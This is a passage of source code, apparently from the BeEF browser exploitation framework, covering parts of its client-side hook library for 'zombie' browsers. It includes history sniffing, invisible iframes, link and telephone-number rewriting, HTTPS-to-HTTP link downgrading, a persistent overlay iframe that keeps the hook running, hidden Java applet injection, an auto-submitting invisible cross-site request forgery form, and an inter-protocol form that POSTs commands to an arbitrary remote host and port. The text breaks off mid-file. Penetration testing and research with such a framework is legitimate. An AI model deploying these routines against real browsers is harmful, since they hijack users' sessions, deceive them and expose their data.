var result = false;\n\n        try {\n            if (beef.browser.hasActiveX()) {\n                var slControl = new ActiveXObject('AgControl.AgControl');\n                result = true;\n            } else if (navigator.plugins[\"Silverlight Plug-In\"]) {\n                result = true;\n            }\n        } catch (e) {\n            result = false;\n        }\n\n        return result;\n    },\n\n    /**\n     * Returns array of results, whether or not the target zombie has visited the specified URL\n     */\n    hasVisited: function (urls) {\n        var results = new Array();\n        var iframe = beef.dom.createInvisibleIframe();\n        var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;\n        ifdoc.open();\n        ifdoc.write('<style>a:visited{width:0px !important;}</style>');\n        ifdoc.close();\n        urls = urls.split(\"\\n\");\n        var count = 0;\n        for (var i in urls) {\n            var u = urls[i];\n            if (u != \"\" || u != null) {\n                var success = false;\n                var a = ifdoc.createElement('a');\n                a.href = u;\n                ifdoc.body.appendChild(a);\n                var width = null;\n                (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue(\"width\");\n                if (width == '0px') {\n                    success = true;\n                }\n                results.push({'url': u, 'visited': success});\n                count++;\n            }\n        }\n        beef.dom.removeElement(iframe);\n        if (results.length == 0) {\n            return false;\n        }\n        return results;\n    },\n\n    /**\n     * Checks if the zombie has Web Sockets enabled.\n     * @return: {Boolean} true or false.\n     * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket\n     * */\n    hasWebSocket: function () {\n        return !!window.WebSocket || !!window.MozWebSocket;\n    },\n\n    /**\n     * Checks if the zombie has Web Workers enabled.\n     * @return: {Boolean} true or false.\n     * */\n    hasWebWorker: function () {\n        return (typeof(Worker) !== \"undefined\");\n    },\n\n    /**\n     * Checks if the zombie has WebGL enabled.\n     * @return: {Boolean} true or false.\n     *\n     * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js\n     * */\n    hasWebGL: function () {\n        try {\n            var canvas = document.createElement(\"canvas\");\n            var gl = canvas.getContext(\"webgl\") || canvas.getContext(\"experimental-webgl\");\n            return !!(gl && gl instanceof WebGLRenderingContext);\n        } catch(e) {\n            return false;\n        }\n    },\n\n    /**\n     * Checks if the zombie has Google Gears installed.\n     * @return: {Boolean} true or false.\n     *\n     * @from: https://code.google.com/apis/gears/gears_init.js\n     * */\n    hasGoogleGears: function () {\n\n        var ggfactory = null;\n\n        // Chrome\n        if (window.google && google.gears) return true;\n\n        // Firefox\n        if (typeof GearsFactory != 'undefined') {\n            ggfactory = new GearsFactory();\n        } else {\n            // IE\n            try {\n                ggfactory = new ActiveXObject('Gears.Factory');\n                // IE Mobile on WinCE.\n                if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {\n                    ggfactory.privateSetGlobalObject(this);\n                }\n            } catch (e) {\n                // Safari\n                if ((typeof navigator.mimeTypes != 'undefined')\n                    && navigator.mimeTypes[\"application/x-googlegears\"]) {\n                    ggfactory = document.createElement(\"object\");\n                    ggfactory.style.display = \"none\";\n                    ggfactory.width = 0;\n                    ggfactory.height = 0;\n                    ggfactory.type = \"application/x-googlegears\";\n                    document.documentElement.appendChild(ggfactory);\n                    if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;\n                }\n            }\n        }\n        if (!ggfactory) return false; else return true;\n    },\n\n    /**\n     * Checks if the zombie has Foxit PDF reader plugin.\n     * @return: {Boolean} true or false.\n     *\n     * @example: if(beef.browser.hasFoxit()) { ... }\n     * */\n    hasFoxit: function () {\n\n        var foxitplugin = false;\n\n        try {\n            if (beef.browser.hasActiveX()) {\n                var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');\n                foxitplugin = true;\n            } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {\n                foxitplugin = true;\n            }\n        } catch (e) {\n            foxitplugin = false;\n        }\n\n        return foxitplugin;\n    },\n\n    /**\n     * Returns the page head HTML\n     **/\n    getPageHead: function () {\n        var html_head;\n        try {\n            html_head = document.head.innerHTML.toString();\n        } catch (e) {\n        }\n        return html_head;\n    },\n\n    /**\n     * Returns the page body HTML\n     **/\n    getPageBody: function () {\n        var html_body;\n        try {\n            html_body = document.body.innerHTML.toString();\n        } catch (e) {\n        }\n        return html_body;\n    },\n\n    /**\n     * Dynamically changes the favicon: works in Firefox, Chrome and Opera\n     **/\n    changeFavicon: function (favicon_url) {\n        var iframe = null;\n        if (this.isC()) {\n            iframe = document.createElement('iframe');\n            iframe.src = 'about:blank';\n            iframe.style.display = 'none';\n            document.body.appendChild(iframe);\n        }\n        var link = document.createElement('link'),\n            oldLink = document.getElementById('dynamic-favicon');\n        link.id = 'dynamic-favicon';\n        link.rel = 'shortcut icon';\n        link.href = favicon_url;\n        if (oldLink) document.head.removeChild(oldLink);\n        document.head.appendChild(link);\n        if (this.isC()) iframe.src += '';\n    },\n\n    /**\n     * Changes page title\n     **/\n    changePageTitle: function (title) {\n        document.title = title;\n    },\n\n    /**\n     * Get the browser language\n     */\n    getBrowserLanguage: function () {\n        var l = 'Unknown';\n        try {\n            l = window.navigator.userLanguage || window.navigator.language;\n        } catch (e) {\n        }\n        return l;\n    },\n\n    /**\n     *  A function that gets the max number of simultaneous connections the\n     *  browser can make per origin, or globally on all origin.\n     *\n     *  This code is based on research from browserspy.dk\n     *\n     * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}\n     * @return {Object} A jQuery deferred object promise, which when resolved passes\n     *    the number of connections to the callback function as \"this\"\n     */\n\n\n\n    getMaxConnections: function (scope) {\n        /*\n        *    example usage:\n        *        $j.when(getMaxConnections()).done(function(){\n        *            console.debug(\"Max Connections: \" + this);\n        *            }); \n        */\n        var imagesCount = 30;\t\t// Max number of images to test\n        var secondsTimeout = 5;\t\t// Image load timeout threashold\n        var testUrl = \"\";\t\t// The image testing service URL\n\n        // User broserspy.dk max connections service URL.\n        if (scope == 'PER_DOMAIN')\n            testUrl = \"http://browserspy.dk/connections.php?img=1&amp;random=\";\n        else\n            // The token will be replaced by a different number with each request (different origin).\n            testUrl = \"http://<token>.browserspy.dk/connections.php?img=1&amp;random=\";\n\n        var imagesLoaded = 0;\t\t\t// Number of responding images before timeout.\n        var imagesRequested = 0;\t\t// Number of requested images.\n        var testImages = new Array();\t\t// Array of all images.\n        var deferredObject = $j.Deferred();\t// A jquery Deferred object.\n\n        for (var i = 1; i <= imagesCount; i++) {\n            // Asynchronously request image.\n            testImages[i] =\n                $j.ajax({\n                    type: \"get\",\n                    dataType: true,\n                    url: (testUrl.replace(\"<token>\", i)) + Math.random(),\n                    data: \"\",\n                    timeout: (secondsTimeout * 1000),\n\n                    // Function on completion of request.\n                    complete: function (jqXHR, textStatus) {\n\n                        imagesRequested++;\n\n                        // If the image returns a 200 or a 302, the text Status is \"error\", else null\n                        if (textStatus == \"error\") {\n                            imagesLoaded++;\n                        }\n\n                        // If all images requested\n                        if (imagesRequested >= imagesCount) {\n                            // resolve the deferred object passing the number of loaded images.\n                            deferredObject.resolveWith(imagesLoaded);\n                        }\n                    }\n                });\n\n        }\n\n        // Return a promise to resolve the deffered object when the images are loaded.\n        return deferredObject.promise();\n\n    }\n\n};\n\nbeef.regCmp('beef.browser');\n"
  },
  {
    "path": "core/main/client/dom.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides functionality to manipulate the DOM.\n * @namespace beef.dom\n */\nbeef.dom = {\n\t\n\t/**\n\t * Generates a random ID for HTML elements\n\t * @param {String} prefix a custom prefix before the random id. defaults to \"beef-\"\n\t * @return {String} generated id\n\t */\n\tgenerateID: function(prefix) {\n\t\treturn ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);\n\t},\t\n\t\t\n\t/**\n\t * Creates a new element but does not append it to the DOM.\n\t * @param {String} type the name of the element.\n\t * @param {Array} attributes the attributes of that element.\n\t * @return {Array} the created element.\n\t */\n\tcreateElement: function(type, attributes) {\n\t\tvar el = document.createElement(type);\n\t\t\n\t\tfor(index in attributes) {\n\t\t\tif(typeof attributes[index] == 'string') {\n\t\t\t\tel.setAttribute(index, attributes[index]);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn el;\n\t},\n\t\n\t/**\n\t * Removes element from the DOM.\n\t * @param {Object} el the target element to be removed.\n\t */\n\tremoveElement: function(el) {\n\t\tif (!beef.dom.isDOMElement(el))\n\t\t{\n\t\t\tel = document.getElementById(el);\n\t\t}\n\t\ttry {\n\t\t\tel.parentNode.removeChild(el);\n\t\t} catch (e) { }\n\t},\n\t\n\t/**\n\t * Tests if the object is a DOM element.\n\t * @param {Object} the DOM element.\n\t * @return {boolean} true if the object is a DOM element.\n\t */\n\tisDOMElement: function(obj) {\n\t\treturn (obj.nodeType) ? true : false;\n\t},\n\t\n\t/**\n\t * Creates an invisible iframe on the hook browser's page.\n\t * @return {array} the iframe.\n\t */\n\tcreateInvisibleIframe: function() {\n\t\tvar iframe = this.createElement('iframe', {\n\t\t\t\twidth: '1px',\n\t\t\t\theight: '1px',\n\t\t\t\tstyle: 'visibility:hidden;'\n\t\t\t});\n\t\t\n\t\tdocument.body.appendChild(iframe);\n\t\t\n\t\treturn iframe;\n\t},\n\n\t/**\n\t * Returns the highest current z-index\n\t * @param {Boolean} whether to return an associative array with the height AND the ID of the element\n\t * @return {Integer} Highest z-index in the DOM\n\t * OR\n\t * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}\n\t */\n\tgetHighestZindex: function(include_id) {\n\t\tvar highest = {'height':0, 'elem':''};\n\t\t$j('*').each(function() {\n\t\t\tvar current_high = parseInt($j(this).css(\"zIndex\"),10);\n\t\t\tif (current_high > highest.height) {\n\t\t\t\thighest.height = current_high;\n\t\t\t\thighest.elem = $j(this).attr('id');\n\t\t\t}\n\t\t});\n\n\t\tif (include_id) {\n\t\t\treturn highest;\n\t\t} else {\n\t\t\treturn highest.height;\n\t\t}\n\t},\n\t\n\t/**\n     * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter\n     * is assigned to created iframe tag's src attribute resulting in GET request to that URI.\n     * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);\n\t * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal\n\t * @param {Hash} params: list of params that will be sent in request.\n\t * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter\n\t * @param {Function} a callback function to fire once the iFrame has loaded\n\t * @return {Object} the inserted iFrame\n     *\n\t */\n\tcreateIframe: function(type, params, styles, onload) {\n\t\tvar css = {};\n\n\t\tif (type == 'hidden') {\n\t\t\tcss = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);\n\t\t} else if (type == 'fullscreen') {\n\t\t\tcss = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);\n\t\t\t$j('body').css({'padding':'0px', 'margin':'0px'});\n\t\t} else {\n\t\t\tcss = styles;\n\t\t\t$j('body').css({'padding':'0px', 'margin':'0px'});\n\t\t}\n\t\tvar iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');\n\t\t\n\t\treturn iframe;\n\t},\n\n    /**\n     * Load the link (href value) in an overlay foreground iFrame.\n     * The BeEF hook continues to run in background.\n     * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses\n     * Framebusting techniques, this will not work.\n     */\n    persistentIframe: function(){\n        $j('a').click(function(e) {\n            if ($j(this).attr('href') != '')\n            {\n                e.preventDefault();\n                beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);\n                $j(document).attr('title', $j(this).html());\n                document.body.scroll = \"no\";\n                document.documentElement.style.overflow = 'hidden';\n            }\n        });\n    },\n\n    /**\n     * Load a full screen div that is black, or, transparent\n     * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not\n     * @param {Hash} options: a collection of options to customise how the div is configured, as follows:\n     *         opacity:0-100         // Lower number = less grayout higher = more of a blackout\n     *           // By default this is 70 \n     *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out\n     *           // By default this will use beef.dom.getHighestZindex to always go to the top\n     *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code\n     *           // By default this is #000000\n     */\n\tgrayOut: function(vis, options) {\n\t  // in any order.  Pass only the properties you need to set.\n\t  var options = options || {};\n\t  var zindex = options.zindex || beef.dom.getHighestZindex()+1;\n\t  var opacity = options.opacity || 70;\n\t  var opaque = (opacity / 100);\n\t  var bgcolor = options.bgcolor || '#000000';\n\t  var dark=document.getElementById('darkenScreenObject');\n\t  if (!dark) {\n\t    // The dark layer doesn't exist, it's never been created.  So we'll\n\t    // create it here and apply some basic styles.\n\t    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917\n\t    var tbody = document.getElementsByTagName(\"body\")[0];\n\t    var tnode = document.createElement('div');           // Create the layer.\n\t        tnode.style.position='absolute';                 // Position absolutely\n\t        tnode.style.top='0px';                           // In the top\n\t        tnode.style.left='0px';                          // Left corner of the page\n\t        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            \n\t        tnode.style.display='none';                      // Start out Hidden\n\t        tnode.id='darkenScreenObject';                   // Name it so we can find it later\n\t    tbody.appendChild(tnode);                            // Add it to the web page\n\t    dark=document.getElementById('darkenScreenObject');  // Get the object.\n\t  }\n\t  if (vis) {\n\t    // Calculate the page width and height \n\t    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {\n\t        var pageWidth = document.body.scrollWidth+'px';\n\t        var pageHeight = document.body.scrollHeight+'px';\n\t    } else if( document.body.offsetWidth ) {\n\t      var pageWidth = document.body.offsetWidth+'px';\n\t      var pageHeight = document.body.offsetHeight+'px';\n\t    } else {\n\t       var pageWidth='100%';\n\t       var pageHeight='100%';\n\t    }\n\t    //set the shader to cover the entire page and make it visible.\n\t    dark.style.opacity=opaque;\n\t    dark.style.MozOpacity=opaque;\n\t    dark.style.filter='alpha(opacity='+opacity+')';\n\t    dark.style.zIndex=zindex;\n\t    dark.style.backgroundColor=bgcolor;\n\t    dark.style.width= pageWidth;\n\t    dark.style.height= pageHeight;\n\t    dark.style.display='block';\n\t  } else {\n\t     dark.style.display='none';\n\t  }\n\t},\n\n\t/**\n\t * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,\n\t *  or, re-writing a document this is useful.\n\t */\n\tremoveStylesheets: function() {\n\t\t$j('link[rel=stylesheet]').remove();\n\t\t$j('style').remove();\n\t},\n\t\n\t/**\n     * Create a form element with the specified parameters, appending it to the DOM if append == true\n\t * @param {Hash} params: params to be applied to the form element\n\t * @param {Boolean} append: automatically append the form to the body\n\t * @return {Object} a form object\n\t */\n\tcreateForm: function(params, append) {\n\t\tvar form = $j('<form></form>').attr(params);\n\t\tif (append)\n\t\t\t$j('body').append(form);\n\t\treturn form;\n\t},\n\t\n\tloadScript: function(url) {\n\t  var s = document.createElement('script');\n\t  s.type = 'text/javascript';\n\t  s.src = url;\n\t  $j('body').append(s);\n\t},\n\n\t/**\n\t * Get the location of the current page.\n\t * @return the location.\n\t */\n\tgetLocation: function() {\n\t\treturn document.location.href;\n\t},\n\t\n\t/**\n\t * Get links of the current page.\n\t * @return array of URLs.\n\t */\n\tgetLinks: function() {\n\t\tvar linksarray = [];\n\t\tvar links = document.links;\n\t\tfor(var i = 0; i<links.length; i++) {\n\t\t\tlinksarray = linksarray.concat(links[i].href)\t\t\n\t\t};\n\t\treturn linksarray\n\t},\n\t\n\t/**\n\t * Rewrites all links matched by selector to url, also rebinds the click method to simply return true\n\t * @param {String} url: the url to be rewritten\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteLinks: function(url, selector) {\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\t\treturn $j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null)\n\t\t\t{\n\t\t\t\t$j(this).attr('href', url).click(function() { return true; });\n\t\t\t}\n\t\t}).length;\n\t},\n\n\t/**\n\t * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.\n\t * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html\n\t * @param {String} url: the url to be rewritten\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteLinksClickEvents: function(url, selector) {\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\t\treturn $j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null)\n\t\t\t{\n\t\t\t\t$j(this).click(function() {this.href=url});\n\t\t\t}\n\t\t}).length;\n\t},\n\n\t/**\n     * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)\n\t * @param {String} old_protocol: the old link protocol to be rewritten\n\t * @param {String} new_protocol: the new link protocol to be written\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteLinksProtocol: function(old_protocol, new_protocol, selector) {\n\n\t\tvar count = 0;\n\t\tvar re = new RegExp(old_protocol+\"://\", \"gi\");\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\n\t\t$j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null) {\n\t\t\t\tvar url = $j(this).attr('href');\n\t\t\t\tif (url.match(re)) {\n\t\t\t\t\t$j(this).attr('href', url.replace(re, new_protocol+\"://\")).click(function() { return true; });\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn count;\n\t},\n\n\t/**\n\t * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number\n\t * @param {String} new_number: the new link telephone number to be written\n\t * @param {String} selector: the jquery selector statement to use, defaults to all a tags.\n\t * @return {Number} the amount of links found in the DOM and rewritten.\n\t */\n\trewriteTelLinks: function(new_number, selector) {\n\n\t\tvar count = 0;\n\t\tvar re = new RegExp(\"tel:/?/?.*\", \"gi\");\n\t\tvar sel = (selector == null) ? 'a' : selector;\n\n\t\t$j(sel).each(function() {\n\t\t\tif ($j(this).attr('href') != null) {\n\t\t\t\tvar url = $j(this).attr('href');\n\t\t\t\tif (url.match(re)) {\n\t\t\t\t\t$j(this).attr('href', url.replace(re, \"tel:\"+new_number)).click(function() { return true; });\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\treturn count;\n\t},\n\n    /**\n     * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed\n     * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]\n     * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).\n     */\n    parseAppletParams: function(params){\n         var result = '';\n         for (i in params){\n           var param = params[i];\n           for(key in param){\n              result += \"<param name='\" + key + \"' value='\" + param[key] + \"' />\";\n           }\n         }\n        return result;\n    },\n\n    /**\n     * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).\n     * example usage in the code, using a JAR archive (recommended and faster):\n     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);\n     * example usage in the code, using codebase:\n     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);\n     * @param {String} id: reference identifier to the applet.\n     * @param {String} code: name of the class to be loaded. For example, beef.class.\n     * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).\n     * @param {String} archive: the jar that contains the code.\n     * @param {String} params: an array of additional params that the applet except.\n     */\n    attachApplet: function(id, name, code, codebase, archive, params) {\n        var content = null;\n        if (beef.browser.isIE()) {\n            content = \"\" + // the classid means 'use the latest JRE available to launch the applet'\n                \"<object id='\" + id + \"'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' \" +\n                \"height='0' width='0' name='\" + name + \"'> \" +\n                \"<param name='code' value='\" + code + \"' />\";\n\n            if (codebase != null) {\n                content += \"<param name='codebase' value='\" + codebase + \"' />\"\n            }\n            if (archive != null){\n                content += \"<param name='archive' value='\" + archive + \"' />\";\n            }\n            if (params != null) {\n                content += beef.dom.parseAppletParams(params);\n            }\n            content += \"</object>\";\n        }\n        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {\n\n            if (codebase != null) {\n                content = \"\" +\n                    \"<applet id='\" + id + \"' code='\" + code + \"' \" +\n                    \"codebase='\" + codebase + \"' \" +\n                    \"height='0' width='0' name='\" + name + \"'>\";\n            } else {\n                content = \"\" +\n                    \"<applet id='\" + id + \"' code='\" + code + \"' \" +\n                    \"archive='\" + archive + \"' \" +\n                    \"height='0' width='0' name='\" + name + \"'>\";\n            }\n\n            if (params != null) {\n                content += beef.dom.parseAppletParams(params);\n            }\n            content += \"</applet>\";\n        }\n        // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.\n//        if (beef.browser.isFF()) {\n//            if (codebase != null) {\n//                content = \"\" +\n//                    \"<embed id='\" + id + \"' code='\" + code + \"' \" +\n//                    \"type='application/x-java-applet' codebase='\" + codebase + \"' \" +\n//                    \"height='0' width='0' name='\" + name + \"'>\";\n//            } else {\n//                content = \"\" +\n//                    \"<embed id='\" + id + \"' code='\" + code + \"' \" +\n//                    \"type='application/x-java-applet' archive='\" + archive + \"' \" +\n//                    \"height='0' width='0' name='\" + name + \"'>\";\n//            }\n//\n//            if (params != null) {\n//                content += beef.dom.parseAppletParams(params);\n//            }\n//            content += \"</embed>\";\n//        }\n        $j('body').append(content);\n    },\n\n    /**\n     * Given an id, remove the applet from the DOM.\n     * @param {String} id: reference identifier to the applet.\n     */\n    detachApplet: function(id) {\n        $j('#' + id + '').detach();\n    },\n\n    /**\n     * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.\n     * @param {String} action: the form action attribute, where the request will be sent.\n     * @param {String} method: HTTP method, usually POST.\n     * @param {String} enctype: form encoding type\n     * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).\n     *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]\n     */\n    createIframeXsrfForm: function(action, method, enctype, inputs){\n        var iframeXsrf = beef.dom.createInvisibleIframe();\n\n        var formXsrf = document.createElement('form');\n        formXsrf.setAttribute('action',  action);\n        formXsrf.setAttribute('method',  method);\n        formXsrf.setAttribute('enctype', enctype);\n\n        var input = null;\n        for (i in inputs){\n            var attributes = inputs[i];\n            input = document.createElement('input');\n                for(key in attributes){\n                    if (key == 'name' && attributes[key] == 'submit') {\n                      // workaround for https://github.com/beefproject/beef/issues/1117\n                      beef.debug(\"createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'\");\n                      input.setAttribute('Submit', attributes[key]);\n                    } else {\n                      input.setAttribute(key, attributes[key]);\n                    }\n                }\n            formXsrf.appendChild(input);\n        }\n        iframeXsrf.contentWindow.document.body.appendChild(formXsrf);\n        formXsrf.submit();\n\n        return iframeXsrf;\n    },\n\n    /**\n     * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.\n     * @param {String} rhost: remote host ip/domain\n     * @param {String} rport: remote port\n     * @param {String} commands: protocol commands to be executed by the remote host:port service\n     */\n    createIframeIpecForm: function(rhost, rport, path, commands){\n        var iframeIpec = beef.dom.createInvisibleIframe();\n\n        var formIpec = document.createElement('form');\n        formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);\n        formIpec.setAttribute('method',  'POST');\n        formIpec.setAttribute('enctype', 'multipart/form-data');\n\n        input = document.createElement('textarea');\n        input.setAttribute('name', Math.random().toString(36).substring(5));\n        input.value = commands;\n        formIpec.appendChild(input);\n        iframeIpec.contentWindow.document.body.appendChild(formIpec);\n        formIpec.submit();\n\n        return iframeIpec;\n    }\n\n};\n\nbeef.regCmp('beef.dom');\n"
  },
  {
    "path": "core/main/client/encode/base64.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662\n\nbeef.encode = {};\n\n/** \n * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662\n * @namespace beef.encode.base64 \n */\nbeef.encode.base64 = {\n\t\n\tkeyStr: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\",\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} input\n     * @return {string}\n     */\n    encode : function (input) {\n        if (window.btoa) {\n           return btoa(unescape(encodeURIComponent(input)));\n        }\n\n        var output = \"\";\n        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;\n        var i = 0;\n\n        input = beef.encode.base64.utf8_encode(input);\n\n        while (i < input.length) {\n\n            chr1 = input.charCodeAt(i++);\n            chr2 = input.charCodeAt(i++);\n            chr3 = input.charCodeAt(i++);\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n                enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n                enc4 = 64;\n            }\n\n            output = output +\n            this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +\n            this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);\n\n        }\n\n        return output;\n    },\n\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} input\n     * @return {string}\n     */\n    decode : function (input) {\n        if (window.atob) {\n            return escape(atob(input));\n        }\n\n        var output = \"\";\n        var chr1, chr2, chr3;\n        var enc1, enc2, enc3, enc4;\n        var i = 0;\n\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        while (i < input.length) {\n\n            enc1 = this.keyStr.indexOf(input.charAt(i++));\n            enc2 = this.keyStr.indexOf(input.charAt(i++));\n            enc3 = this.keyStr.indexOf(input.charAt(i++));\n            enc4 = this.keyStr.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            output = output + String.fromCharCode(chr1);\n\n            if (enc3 != 64) {\n                output = output + String.fromCharCode(chr2);\n            }\n            if (enc4 != 64) {\n                output = output + String.fromCharCode(chr3);\n            }\n\n        }\n\n        output = beef.encode.base64.utf8_decode(output);\n\n        return output;\n\n    },\n\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} string\n     * @return {string}\n     */\n    utf8_encode : function (string) {\n        string = string.replace(/\\r\\n/g,\"\\n\");\n        var utftext = \"\";\n\n        for (var n = 0; n < string.length; n++) {\n\n            var c = string.charCodeAt(n);\n\n            if (c < 128) {\n                utftext += String.fromCharCode(c);\n            }\n            else if((c > 127) && (c < 2048)) {\n                utftext += String.fromCharCode((c >> 6) | 192);\n                utftext += String.fromCharCode((c & 63) | 128);\n            }\n            else {\n                utftext += String.fromCharCode((c >> 12) | 224);\n                utftext += String.fromCharCode(((c >> 6) & 63) | 128);\n                utftext += String.fromCharCode((c & 63) | 128);\n            }\n\n        }\n\n        return utftext;\n    },\n    /** \n     * @memberof beef.encode.base64 \n     * @param {string} utftext\n     * @return {string} \n     */\n    utf8_decode : function (utftext) {\n        var string = \"\";\n        var i = 0;\n        var c = c1 = c2 = 0;\n\n        while ( i < utftext.length ) {\n\n            c = utftext.charCodeAt(i);\n\n            if (c < 128) {\n                string += String.fromCharCode(c);\n                i++;\n            }\n            else if((c > 191) && (c < 224)) {\n                c2 = utftext.charCodeAt(i+1);\n                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));\n                i += 2;\n            }\n            else {\n                c2 = utftext.charCodeAt(i+1);\n                c3 = utftext.charCodeAt(i+2);\n                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));\n                i += 3;\n            }\n\n        }\n\n        return string;\n    }\n\n};\n\nbeef.regCmp('beef.encode.base64');\n"
  },
  {
    "path": "core/main/client/encode/json.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/** \n * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/\n * @namespace beef.encode.json\n */\n\nbeef.encode.json = {\n\t/**\n     * @memberof beef.encode.json\n     * @param o \n     */\n\tstringify: function(o) {\n        if (typeof(JSON) == 'object' && JSON.stringify) {\n            // Error on stringifying cylcic structures caused polling to die\n            try {\n                s = JSON.stringify(o);    \n            } catch(error) {\n                // TODO log error / handle cyclic structures? \n            }\n            return s;\n        }\n        var type = typeof(o);\n    \n        if (o === null)\n            return \"null\";\n    \n        if (type == \"undefined\")\n            return '\\\"\\\"';\n        \n        if (type == \"number\" || type == \"boolean\")\n            return o + \"\";\n    \n        if (type == \"string\")\n            return $j.quoteString(o);\n    \n        if (type == 'object')\n        {\n            if (typeof o.toJSON == \"function\") \n                return $j.toJSON( o.toJSON() );\n            \n            if (o.constructor === 